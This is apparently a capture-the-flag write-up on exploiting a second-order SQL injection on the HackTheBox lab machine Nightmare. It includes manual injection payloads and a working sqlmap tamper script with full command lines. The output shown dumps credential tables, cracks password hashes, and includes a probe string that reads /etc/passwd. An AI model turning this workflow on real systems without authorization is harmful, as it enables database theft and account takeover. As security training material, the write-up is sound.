Second Order SQL-Injection on HTB Nightmare
Nightmare just retired, and it was a insanely difficult box. Rather than do a full walkthrough, I wanted to focus on a write-up of the second-order SQL injection necessary as a first step for this host.
Second Order SQL Injection
In a typical SQL Injection, user input is used to build a query in an unsafe way. Typically, the result is observed immediately. But in a second order SQL Injection, user input is stored by the application, and then later used in an unsafe way. That is the case here, where input at register.php
will be stored in the database. Later, when a post is made to login, that will be pulled and validated, and then on redirection, the username is used to query the database to get the notes associated with that user. However, if we create a user with the right user name, we can corrupt this query so that additional data is displayed.
POC
Before using sqlmap
to go after this vulnerability on Nightmare, we want to get a feel for what is possible. At the registration page, we’ll create a user a' --
, and when we log in, we notice the message “SQL ERROR”.
That’s in the area where notes are displayed, so it seems like there is a query to the database to get notes associated with our user, and the input isn’t filtered.
Even cooler, when we set the username to a') -- -
, we get the error to go away:
This is an example of a second order sqli.
Nightmare SQLi with sqlmap
Getting It to Work
A standard SQLi attack with sqlmap
(even at most aggressive) is going to fail, as the injection happens at the registration, but then isn’t visible until later at the notes home page.
To do this successfully with sqlmap
, we’ll need to do the following steps:
- Create an account with username being the injectable item
- via tamper script
- Login with that account
sqlmap
main functionality
- Visit
/notes.php
to look for results--second-order
flag to tellsqlmap
to visit/notes.php
to look for output- alternatively, we could leave this off and allow
sqlmap
to follow the redirect it gets back from logging in
Tamper Script - nightmare-tamper.py
I used two references to build my tamper script (sans blog post and pentest blog post), and of course learned from ippsec.
Key points for the script. The tamper
function will be called before each query that sqlmap
makes to the target. tamper
is passed the payload that will be used, and it returns that payload for use. We also have the opportunity to set other things, like cookies.
This script call create_account
, which will register an account on the Nightmare page, and get back a “PHPSESSID” cookie that we will return so that it’s used with the rest additional two requests that will be associated with the session.
We’ll want to use the same password here at registration that we use in the next step for login.
Here’s nightmare-tamper.py
:
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def create_account(payload):
s = requests.Session()
# register with username = payload
# user=a%27%29+--+-&pass=df®ister=Register
post_data = { 'user':payload, 'pass':'df', 'register':'Register' }
proxies = { 'http':'http://127.0.0.1:8080' }
response = s.post("http://10.10.10.66/register.php", data=post_data, proxies=proxies)
# get cookie
#Set-Cookie: PHPSESSID=l5vdi7j5gq6g978bor44fndt80; path=/
php_cookie = re.search('PHPSESSID=(.*?);', response.headers['Set-Cookie']).group(1)
return "PHPSESSID={0}".format(php_cookie)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["Cookie"] = create_account(payload)
return payload
sqlmap Command Line
We’ll accomplish steps 2) and 3) with options at the sqlpmap
command line:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0.1:8080
Options:
-
--technique=U
-sqlmap
will try six different classes of sqli attack: [B]oolean-based, [E]rror-based, [U]nion-based, [S]tacked queries, [T]imebased queries, and Inline [Q]ueries. By default, it’sBEUSTQ
, but since we already showed in the manual work that we’ll be using a union attack, we’ll reduce the number of checks -
-r login.request
- a request saved out of burp, making sure there’s no PHPSESSID cookie, and that the password is the same as our tamper script:POST /index.php HTTP/1.1 Host: 10.10.10.66 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.66/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 37 Connection: close Upgrade-Insecure-Requests: 1 user=aaaabcddddd&pass=df&login=Login
-
--dbms mysql
- given this is a linux host, and mysql is common with the linux / php stack, we’ll guess this to speed things up. Ifsqlmap
disagrees, it will tell us. -
--tamper tamper-nightmare.py
- our tamper script from above -
--second-order 'http://10.10.10.66/notes.php'
- after the request toindex.php
to login, visit this url to check for results -
-p user
- we know from the manual work that the injectable parameter is the username -
--proxy http://127.0.0.1:8080
- send requests through Burp for analysis. Would probably remove this prior to a big dump of the database to speed things up
Details of Initial Run
We start sqlmap
with the commands above, and it runs until the following prompt:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0.1:8080
___
__H__
___ ___[)]_____ ___ ___ {1.2.6#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:05:01
[] [INFO] parsing HTTP request from 'login.request'
[] [INFO] loading tamper module 'tamper-nightmare'
[] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://10.10.10.66/index.php'. Do you want to follow? [Y/n]
Up to this point, we can see in burp that two queries have been sent - a POST to /index.php
to login, which returns a ‘Wrong username or password’ message because the user doesn’t exist, followed by a GET request to /notes.php
, which returned a 302 redirect to /index.php
because there’s no active session. But even if we had successfully logged in, we don’t need to follow that redirect, as we’ll be making the second-order visit to /notes.php
for each query. So we’ll select n
.
The script continues:
[] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
The WAF/IPS/IDS check consists of a funky POST to index.php
:
POST /index.php?Gbya=8703%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
Content-Length: 38
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Host: 10.10.10.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Connection: close
Cookie: PHPSESSID=shhaht5gkik3dtiq6ijf9bpe26
Referer: http://10.10.10.66/index.php
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
user=aaaaaabcddddd&pass=df&login=Login
This gets another ‘Wrong username or password’, and it’s immediately followed by a second order request to /notes.php
, which gets 302ed to /index.php
.
As sqlmap
moves into it’s next phase, this time it starts with the tamper script, so we see a POST to /register.php
with data register=Register&user=aaaaaabcddddd.%27.%22%29%28%2C..%28&pass=df
. The response is a message that the user has been created.
Then the script prompts:
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n]
Queries are going to be a series of 1) POST to /register.php
, 2) POST to /index.php
, 3) GET to /notes.php
. If we say Y
here, we’ll try to set a cookie at 1), but then the server will set a new cookie at 2), and that will overwrite the first one. If we say n
, then the cookie set in 1) will carry though all three requests. Either is actually fine, as long as we’ve got the username and password the same in 1) and 2). We’ll say n
. Our tamper script is setting a cookie. But the login page may also set a cookie. We don’t want to merge. We want ours to be the only PHPSESSID, so we’ll say no.
ssqlmap
continues to make 25 queries (each with 3 requests) to the site:
[] [INFO] heuristic (basic) test shows that POST parameter 'user' might be injectable
[] [INFO] testing for SQL injection on POST parameter 'user'
[] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[] [WARNING] reflective value(s) found and filtering out
[] [INFO] target URL appears to be UNION injectable with 2 columns
[] [INFO] POST parameter 'user' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[] [INFO] checking if the injection point on POST parameter 'user' is a false positive
POST parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Having found user vulnerable, and having no others to check, we’ll say N
. We get the following summary:
POST parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 21 HTTP(s) requests:
---
Parameter: user (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: user=aaaaaaaaabcddddd') UNION ALL SELECT CONCAT(0x716a627a71,0x786d534f4d5846644173476c53616972434878705241514d437059444743677872664f6257515a57,0x716a767071),NULL-- NdDm&pass=df&login=Login
---
[] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
It’s interesting that it calls this 21 requests, when we saw somewhere between 75 and 79, depending on if you count the four at start.
Then it continues to test the database version. It does this with another 3 sets of three queries, and confirms it’s mysql
:
[] [INFO] testing MySQL
[] [INFO] confirming MySQL
[] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.0
[] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.66'
[*] shutting down at 05:23:54
Database Enumeration
With a working injection, we can now do further enumeration.
Adding --dbs
will show the database names:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0
.1:8080 --dbs
...
[] [INFO] fetching database names
[] [INFO] used SQL query returns 3 entries
[] [INFO] retrieved: information_schema
[] [INFO] retrieved: notes
[] [INFO] retrieved: sysadmin
available databases [3]:
[*] information_schema
[*] notes
[*] sysadmin
Adding --tables
will show the tables. This query fails initially, but with a suggestion:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0
.1:8080 --dbs --tables
...
[] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[] [ERROR] unable to retrieve the table names for any database
Adding --no-cast
will enable table enumeration:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0
.1:8080 --dbs --tables --no-cast
...
[] [INFO] fetching tables for databases: 'information_schema, notes, sysadmin'
[] [INFO] used SQL query returns 65 entries
Database: sysadmin
[2 tables]
+---------------------------------------+
| configs |
| users |
+---------------------------------------+
Database: notes
[2 tables]
+---------------------------------------+
| notes |
| users |
+---------------------------------------+
Database: information_schema
[61 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
...
| VIEWS |
+---------------------------------------+
Dumping Data
The --dump
flag will give the entries from a database. By default, that’s the current database in use by the application. There’s also a --dump-all
which will dump all databases, and a --exclude-sysdbs
.
But in this case, we want to be a bit more granular. We probably don’t want the information_schema
database. And we want to be really careful with the notes
database, as we’ve created a bunch of users in it with each registration.
So let’s start with the sysadmin
database:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0.1:8080 --dump -D sys
admin --no-cast
...
Database: sysadmin
Table: configs
[13 entries]
+------------+----------+
| ip | server |
+------------+----------+
| 10.0.21.11 | server2 |
| 10.0.21.12 | server3 |
| 10.0.21.13 | server4 |
| 10.0.21.14 | server5 |
| 10.0.21.15 | server6 |
| 10.0.21.16 | server7 |
| 10.0.21.17 | server8 |
| 10.0.21.18 | server9 |
| 10.0.21.19 | server10 |
| 10.0.21.20 | server11 |
| 10.0.21.21 | server12 |
| 10.0.21.22 | server13 |
| 10.0.21.23 | server14 |
+------------+----------+
...
Database: sysadmin
Table: users
[11 entries]
+--------------+-------------------+
| username | password |
+--------------+-------------------+
| admin | nimda |
| cisco | cisco123 |
| adminstrator | Pyuhs738?183*hjO! |
| josh | tontochilegge |
| system | manager |
| root | HasdruBal78 |
| decoder | HackerNumberOne! |
| ftpuser | @whereyougo? |
| sys | change_on_install |
| superuser | passw0rd |
| user | odiolafeta |
+--------------+-------------------+
...
That’s enough information to move on in the case of nightmare, but if we wanted to look at the notes table, we could do it with a bit more precision.
First, we can dump the notes
table (from the notes
database):
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0.1:8080 --dump -D notes -T notes --no-cast
...
[] [INFO] fetching columns for table 'notes' in database 'notes'
[] [WARNING] reflective value(s) found and filtering out
[] [INFO] used SQL query returns 4 entries
[] [INFO] retrieved: "id","int(4) unsigned"
[] [INFO] retrieved: "user","int(4) unsigned"
[] [INFO] retrieved: "title","varchar(255)"
[] [INFO] retrieved: "text","text"
[] [INFO] fetching entries for table 'notes' in database 'notes'
[] [INFO] used SQL query returns 1 entries
Database: notes
Table: notes
[1 entry]
+----+------------------------+-----------------------------------------------------------------+--------+
| id | text | title | user |
+----+------------------------+-----------------------------------------------------------------+--------+
| 1 | What a wonderful note! | This is my first note No one else than me (admin) should see it | 1 |
+----+------------------------+-----------------------------------------------------------------+--------+
...
Next, we’ll look at the users table, and we’ll try to defeat username that start with ‘aaaaa’ from our search, since we added those, with the --where
flag:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0.1:8080 --dump -D notes -T users --where "username NOT LIKE 'aaaaa%'" --no-cast
Next, we’ll look at the users table, and we’ll try to defeat username that start with ‘aaaaa’ from our search, since we added those, with the --where
flag:
root@kali# sqlmap --technique=U -r login.request --dbms mysql --tamper tamper-nightmare.py --second-order 'http://10.10.10.66/notes.php' -p user --proxy http://127.0.0.1:8080 --dump -D notes -T users --where "username NOT LIKE 'aaaaa%'" --no-cast
...
[] [INFO] fetching columns for table 'users' in database 'notes'
[] [INFO] used SQL query returns 3 entries
[] [INFO] resumed: "id","int(4) unsigned"
[] [INFO] resumed: "username","varchar(255)"
[] [INFO] resumed: "password","varchar(32)"
[] [INFO] fetching entries for table 'users' in database 'notes'
[] [WARNING] reflective value(s) found and filtering out
[] [INFO] used SQL query returns 2 entries
[] [INFO] retrieved: "1","ee10c315eba2c75b403ea99136f5b48d","admin"
[] [INFO] retrieved: "67","c11200b1c60d38eded1effbca7653675","delfy"
[] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[] [INFO] starting 4 processes
[] [INFO] cracked password 'nofear' for user 'delfy'
[] [INFO] cracked password 'nimda' for user 'admin'
Database: notes
Table: users
[2 entries]
+----+----------+-------------------------------------------+
| id | username | password |
+----+----------+-------------------------------------------+
| 1 | admin | ee10c315eba2c75b403ea99136f5b48d (nimda) |
| 67 | delfy | c11200b1c60d38eded1effbca7653675 (nofear) |
+----+----------+-------------------------------------------+
And, after letting sqlmap
crack the hashes, we can log in as admin and delfy:
Conclusion
Second Order SQL Injection is tricky, and there’s almost never going to be a tool that just does it for you. But, if you can write a python script, you can make sqlpmap
do what you’re looking for and get the data from the database.